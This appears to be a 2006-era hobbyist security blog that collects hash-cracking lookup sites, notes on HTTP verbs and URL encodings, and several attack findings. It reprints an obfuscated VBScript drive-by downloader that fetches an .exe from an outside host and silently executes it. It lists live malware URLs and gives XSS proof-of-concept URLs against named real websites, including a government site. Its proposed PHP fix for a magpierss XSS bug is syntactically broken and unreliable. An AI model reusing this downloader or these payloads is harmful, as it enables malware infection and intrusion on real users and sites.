Online reverse lookup sites

Ripped from kuza55 blog, I thought this may come in handy.


" http://kuza55.blogspot.com/2006/10/online-reverse-lookup-tables-for.html

md5:
http://www.tmto.org/ (formerly md5lookup.com)
http://md5.rednoize.com (good with words)
http://nz.md5.crysm.net (English dictionary, nearly all one to four character alphanumeric. 27.8m records.) - seems to be down atm
http://us.md5.crysm.net (British, Jargon and American worldlist, IP addresses 16.0m records)
http://www.xmd5.org (good with numbers)
http://gdataonline.com (wordlist based, I think)
http://www.hashchecker.com (It seems to say its good, but I've never gotten many hits form here)
http://passcracking.ru
http://www.milw0rm.com/md5
http://plain-text.info (this one is quite good and generally returns results, but you have to submit things to be cracked, its not just an online database)
http://www.securitystats.com/tools/hashcrack.php (does various, including LM NTLM and SHA-1, but seems to return no results on anything than the most basic, so rather useless)
http://www.schwett.com/md5/ - Does Norwegian words too
http://passcrack.spb.ru/
http://shm.pl/md5/
http://www.und0it.com/
http://www.neeao.com/md5/
http://md5.benramsey.com/
http://www.md5decrypt.com/
http://md5.khrone.pl/
http://www.csthis.com/md5/index.php
http://www.md5decrypter.com/
http://www.md5encryption.com/
http://www.md5database.net/
http://md5.xpzone.de/
http://md5.geeks.li/
http://www.hashreverse.com/
http://www.cmd5.com/english.aspx
http://www.md5.altervista.org/
http://md5.overclock.ch/biz/index.php?p=md5crack&l=en
http://alimamed.pp.ru/md5/ (for those who can't read russian: put your md5 in the second box)
http://md5crack.it-helpnet.de/index.php?op=add (German, I have no idea....)
http://cijfer.hua.fi/ (Projects->md5 reverse lookup)
http://shm.hard-core.pl/md5/
http://www.mmkey.com/md5/HOME.ASP
http://www.thepanicroom.org/index.php?view=cracker
http://rainbowtables.net/services/results.php (I'm not sure i'd trust this site to give more than a tiny amount of results)
http://rainbowcrack.com/ (requires people to contribute rainbowtables to be able to query them, and continue contributing them constantly)
http://www.securitydb.org/cracker/
http://passwordsecuritycenter.com/index.php?main_page=product_info&cPath=3&products_id=7 (This is meant to be used as proof that they can actually reverse passwords to convince you to buy their stuff, but as long as they decrypt it it doesn't matter why, right?)
http://0ptix.co.nr/md5
https://www.astalavista.net/?cmd=rainbowtables
http://ice.breaker.free.fr/
http://www.md5this.com
http://www.pldsecurity.de/forum/md5.php
http://www.xeons.net/genesis/
http://hackerscity.free.fr/
http://bisix.cogia.net/
http://md5.allfact.info/
http://bokehman.com/cracker/
http://www.tydal.nu/article/md5-crack/
http://ivdb.org/search/md5/
http://md5.netsons.org/
http://md5.c.la/ (The form at the bottom left of the page)
http://www.jock-security.com/md5_database/?page=crack
http://c4p-sl0ck.dyndns.org/cracker.php
http://www.blackfiresecurity.com/tools/md5lib.php (Queries the MD5 Library AIM Bot)
http://www.md5-db.com/index.php

lm Only:
http://lasecwww.epfl.ch/~oechslin/projects/ophcrack/ (Currently Offline)
http://www.milw0rm.com/lm (Currently Offline)

lm + ntlm:
http://plain-text.info
http://www.securitystats.com/tools/hashcrack.php
http://rainbowtables.net/services/results.php
http://rainbowcrack.com/
http://passwordsecuritycenter.com/index.php?main_page=product_info&cPath=3&products_id=7
https://www.astalavista.net/?cmd=rainbowtables

md4:
http://www.securitystats.com/tools/hashcrack.php
http://rainbowtables.net/services/results.php
http://rainbowcrack.com/

sha1:
http://passcrack.spb.ru/
http://www.hashreverse.com/
http://rainbowcrack.com/
http://www.md5encryption.com/
http://www.shalookup.com/
http://md5.rednoize.com/
http://c4p-sl0ck.dyndns.org/cracker.php
http://www.tmto.org/

"

Malware sites

I was pocking around the net, found some interesting malware sites:

Please don't try any of them unless you know what you are doing

http://jokeonlineworld.com/gift.html
< meta equiv="Refresh" content="0; URL=http://jokeonlineworld.com/gift.exe">


http://jokeonlineworld.com/
< meta equiv="Refresh" content="0; URL=http://jokeonlineworld.com/install.exe">


http://sequestro.t35.com/
"http://www.blogger.com/exigencias.exe" Leia atentamente todas as exigencias.

And another type which uses vbscript
http://www.youshini.com/jp/789.htm
on error resume next
Dim haotian
Set y = Nothing
ppp="obj"
ppp1="ect"
ppp2=ppp&ppp1
Set data = document.createElement(ppp2,"")
data.setAttribute ("classid"), ("clsid:BD96C556-65A3-11D0-983A-00C04FC29E36")
bbs ="Micro"
bbs0 ="delm"
bbs1 ="soft.XMLHTTP"
bbs2 =bbs&bbs1
result = Null And Null
Set x = data.CreateObject(bbs2,"")
set mm = data.createobject("Adodb.Stream","")
mm.type = 1
mm.open
url = "http://www.453787.com/jp/photo1.exe"
ysha="GET"
x.Open ysha, url, False
x.Send
exe="haotian.bat"
bbp1 ="Scrip"
bbp2 ="ting.FileSystem"
bbp3 ="Object"
bbp =bbp1&bbp2&bbp3
mm.write x.responseBody
set F = data.createobject(bbp,"")
Set T = Nothing
set tmp = F.GetSpecialFolder(2)
exe= F.BuildPath(tmp,exe)
mm.savetofile exe,2
mm.close
set Bb = data.createobject("Shell.Application","")
Bb.ShellExecute exe,"","","open",0


Little more Googling led me to this
http://malware.hiperlinks.com.br/cgi/submit-agressive?action=list&type=agressive
which holds tons malware site, most of them are using the above two techniques, via embedding inside a script, flash or simply post the link.

Certainly most of these malwares are coded in different ways and have various features, such as keylogging, reverse connect, spwan a port, send credential over email or to irc etc. I don't feel surprise they use script to force victim to download their babies, but using < meta equiv="Refresh" content="0; URL=http://url"> is indeed pretty cool, coz it will be executed even you disable javascript in browser. I guess if it is possible to change exe to some other common mime type that a browser will download automatically, such as gif, swf etc will make the whole game more serious and horrible.

However, it is so funny to see how they work, and it is easy to steal what the attackers had collected due to most cracked stuff are stored in plain text.

XSS on abc

Oops, found xss on abc search Engine
http://app.abc.go.com/keyword/searchResults?search=%3Cscript%3Ealert%28%22xss%22%29%3C%2Fscript%3E&searchType=0

XSS is elsewhere!

Google blacklist database

I got pointed to a couple interesting posts in the mailing list, about google blacklist database,

http://sb.google.com/safebrowsing/update?version=goog-black-url:1:1
http://sb.google.com/safebrowsing/update?version=goog-black-url:1:7998
http://sb.google.com/safebrowsing/update?version=goog-white-domain:1:19,goog-white-url:1:371,goog-black-url:1:7693,goog-black-enchash:1:15282
http://sb.google.com/safebrowsing/update?version=goog-black-url:1:7753
http://sb.google.com/safebrowsing/update?versio=goog-black-url:1:0000

Obviously google uses these data for "safebrowsing", and it is interesting that Google even log credential and some other sensitive info. I picked some blacklisted url randomly, and they are really phishy. It is good for security folk to figure out how phisher set up fake sites, also great for vendor to compile these lists to enhance its product's anti-phishing.

Oops...PDF, keep an eye on it!

From pdp
"You must understand that the attacker doesn’t need to have write access to the specified PDF document. In order to get an XSS vector working you need to have a PDF file hosted on the target and that’s all about it. The rest is just a matter of your abilities and desires.

This finding was originally mentioned by Sven Vetsch, on his blog. The attack vector was discovered by Stefano Di Paola and Giorgio Fedon. This is a very good and quite interesting finding. Good work."

A Poc:
http://some.random.site.com/foo.pdf#something=javascript:alert(123);

Couple variants:
1. Universal CSRF / session riding;
(Mozilla Firefox, Internet Explorer, Opera + Acrobat Reader plugin)

2. UXSS in #FDF, #XML e #XFDF;
(Mozilla Firefox + Acrobat Reader plugin)

3. Possible Remote Code Execution;
(Mozilla Firefox + Acrobat Reader plugin)

4. Denial of Service;
(Internet Explorer + Acrobat Reader plugin)

Details @ http://www.wisec.it/vulns.php?page=9

Very interesting and dangerous bug, don't simply click pdf from now on. If you really need to download pdf, keep an eye on the url, strip extra parameters if there is any. Dangerous, Dangerous, Dangerous! Web is getting really crazy, sigh

xss in magpierss

Found an xss bug in magpierss

Code in magpie_debug.php & others

if ( isset($_GET['url']) ) {
$url = $_GET['url'];
}
else {
$url = 'http://magpierss.sf.net/test.rss';
}

http://site/magpie_debug.php?url=code

A fix can be:

if(!preg_match("/^(http:\/\/)?([^\/]+)/i"), $url) {
$ext = strtolower( substr( strrchr( $filename, "." ) , 1 ) );
$url = Gud($url);
switch($ext)
{
case 'rss': do_something; break
case 'other_types': another_thing; break;
default: header("Location: http://magpierss.sf.net/test.rss");
}
}

function Gud( $url) {
$url = htmlentities($_GET['url'], ENT_QUOTES, 'utf-8' );
return $url;
}

Another xss

My brother showed me this site, an interesting site allows customized logo and I love this idea,
http://www.goglogo.com/s.asp?lo=inSiStKool
Very google-like and cool,rite!

but then I tried couple xss on lo param with no luck, I guess it has been filtered with regular expression, seems secured, hum! But hey, what the heck it works on the search box with simple alert call.
http://www.goglogo.com/s.asp?lo=inSiStKool&q=%3Cscript%3Ealert%2831337%29%3C%2Fscript%3E
http://www.goglogo.com/show.asp?q=a&u=%3Cscript%3Ealert(31337)%3C/script%3E
I don't see the point they filteres 1st param and leaves others unprotected, to accpet the whole pharse for a more accurate search result or they just happened to forget to do so? Recall "if you spend more time on coffee, you will be hacked, and you deserved"

HTTP Verb

From Professional Pen Testing For Web Application
HTTP 1.0 specification defined three main verbs, or methods:
GET is used for requesting, or retrieving, some resource from the target web server
POST is used to request that the target web server accept the data enclosed in the request.The acceptance is based in the fact that the processing gets handed off to the resource listed in the request (the URI)
HEAD is used exactly like GET except that the resource data body is not transferred;only metadata is sent back to the client.

HTTP 1.1 specification added the following new HTTP verbs:
PUT is used for requesting that the target web server process the requet in to the resource listed (the URI).
DELETE is used to delete (on the webserver) the resource from the respecive request.
OPTIONS is used to request information about the communications options available in respect to the particular target web server.
TRACE is used to request a remote loopback of the request to the target web server.
CONNECT is used strictly with Proxy servers that can tunnel directly with the taret web server.

I didn't know put,delete trance and other verbs were added in 1.1 specification, Cool!

Another xss

A XSS on lycos, the point to point out is not because this is a big site, but it display my " when http://www.homme.lycos.fr/hotbabes/categorie/"
I am wondering whether this is fuzzable, seems kinda hard coz " is a valid html code...
Anyway, interesting to know xss could also happened on a regular url (not parameter)

lycos.fr

Updated: This xss already expired, but it still serves as a pretty good lesson for developers

XSS bug

found an interesting type of xss of this site, contrust a html header and do the dirty work

mass.gov

Exposed the header, this is indeed fairly funky
http://www.test.com Content-Length: 0 Cache-Control: max-age=300 Expires: Mon, 09 Oct 2006 06:15:35 GMT Connection: close Content-Type: text/plain; charset=ISO-8859-1

similar ones...

lvllord.de

Another one on
mwti.net


And discovered a xss on a metasearch engine while i was at class
click here to see demo

even one on a government website,
http://www.xxxxx.xxx.gov.au/email/?url=%3Cscript%3E
alert(%22XSS%22)%3C/script%3E

Funny browser

Quick note solely for reminding myself....
www.google.com
dec:1113982819
hexdec:42660763
Hex:7777772E676F6F676C652E636F6D
md5:0a137b375cc3881a70e186ce2172c8d1
binary:
0111011101110111011101110010111001100111011011110110
111101100111011011000110010100101110011000110110111101101101
base64:d3d3Lmdvb2dsZS5jb20=

FireFox and IE have different response to each, and both accept dec...When binary input to firefox, it will auotmatically place: keyword:_binary_here_, I guess this might have something to do with it built in google as default search engine and load it up when it can resolve the string, or I all loaded up some third party library.
Anyway,it is funny and somehow exposed the mechanism of browsers....Different browser response differently, and crafted input or code can smash it is the lesson I learnt from. I should dig more later....

URL:http://www.technicalinfo.net/papers/URLEmbeddedAttacks.html
White paper about url encoding... To be read